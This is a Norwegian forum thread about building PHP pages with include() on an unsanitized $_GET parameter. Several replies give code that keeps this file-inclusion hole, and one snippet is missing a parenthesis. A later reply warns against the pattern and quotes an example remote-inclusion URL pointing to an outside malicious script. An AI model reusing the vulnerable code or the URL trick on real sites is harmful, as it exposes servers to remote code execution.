Gå til innhold

PHP include()


Anbefalte innlegg

To spørsmål

 

Først hvis jeg skal linke til en fil i en annnen mappe hvordan skal jeg gjøre det. skal gjøre det samme som kodene under, skulle kombinert denne med en som også tar mapper. og under mapper. og samtidig må det kunne gjøre det samme som det gjør nå.

 

<?PHP
$page = $_GET['page'];

if(! $page) {
$page = "main";
}
?>

<?php include("$page.php")

 

Så skulle jeg hatt en funksjon som åpner 'ugyldig side melding' når '$page' er en fil som ikke eksisterer.

Lenke til kommentar
Videoannonse
Annonse
Først hvis jeg skal linke til en fil i en annnen mappe hvordan skal jeg gjøre det.

Hmmm, mener du hvordan å inkludere en side som ligger i en annen mappe? I så fall:

include ("./mappe/enda/en/mappe/side.php")

 

Du trenger strengt tatt ikke ha ./ foran, men jeg mener å ha lest at det er en fordel - av en eller annen grunn.

Endret av Loomy
Lenke til kommentar

Det siste først. file_exists() returnerer true dersom filen eksisterer. Dette kan brukes for å sjekke om filen ikke ksisterer. Legg merke til at jeg søker eksplisitt etter .php Dette kan seff endres, og flere typer kan legges til. Men det er litt mye natt til det nå...

<?PHP
$page = $_GET['side'];

if(! $page) {
 $page = "main";
}

if(! file_exists($page.'.php') {
 $page = '404';
}
?>

 

Det føste:

 

www.dittdomene.no/index.php?side=mappe/fil er en mulightet. Her angir du hvilken mappe fra URLen

Hvis alle filer ligger i en mappe - pages f.eks kan du mekke katalogen fra php koden:

 

<?PHP
$page = "./pages/";
$page .= $_GET['page'];

if(! $_GET['page']) {
 $page = "pages/main";
}
?>

Endret av enden
Lenke til kommentar

Detta er veeeldig dårlig kode...

Det var pga kode av denne typen at hw.no bukka under for litt siden

 

Du må sjekke inputen, $_GET['side']

den skal helst ikke inneholde andre tegn enn a-z 0-9, for når du kjører include på denne måten risikerer du å drite deg loddrett ut hvis noen drar det gamle urltrikset.

index.php?side=http://minside.com/ondtphpscript.txt

hvis du da bruker koden din, som inkluderer $_GET['side'] helt ukritisk kan morsomme ting skje...

 

Du kan like gjerne venne deg til å sjekke om variabler er gyldige eller ikke med engang, du kommer alltid til å få bruk for det.

Lenke til kommentar

Opprett en konto eller logg inn for å kommentere

Du må være et medlem for å kunne skrive en kommentar

Opprett konto

Det er enkelt å melde seg inn for å starte en ny konto!

Start en konto

Logg inn

Har du allerede en konto? Logg inn her.

Logg inn nå
  • Hvem er aktive   0 medlemmer

    • Ingen innloggede medlemmer aktive
×
×
  • Opprett ny...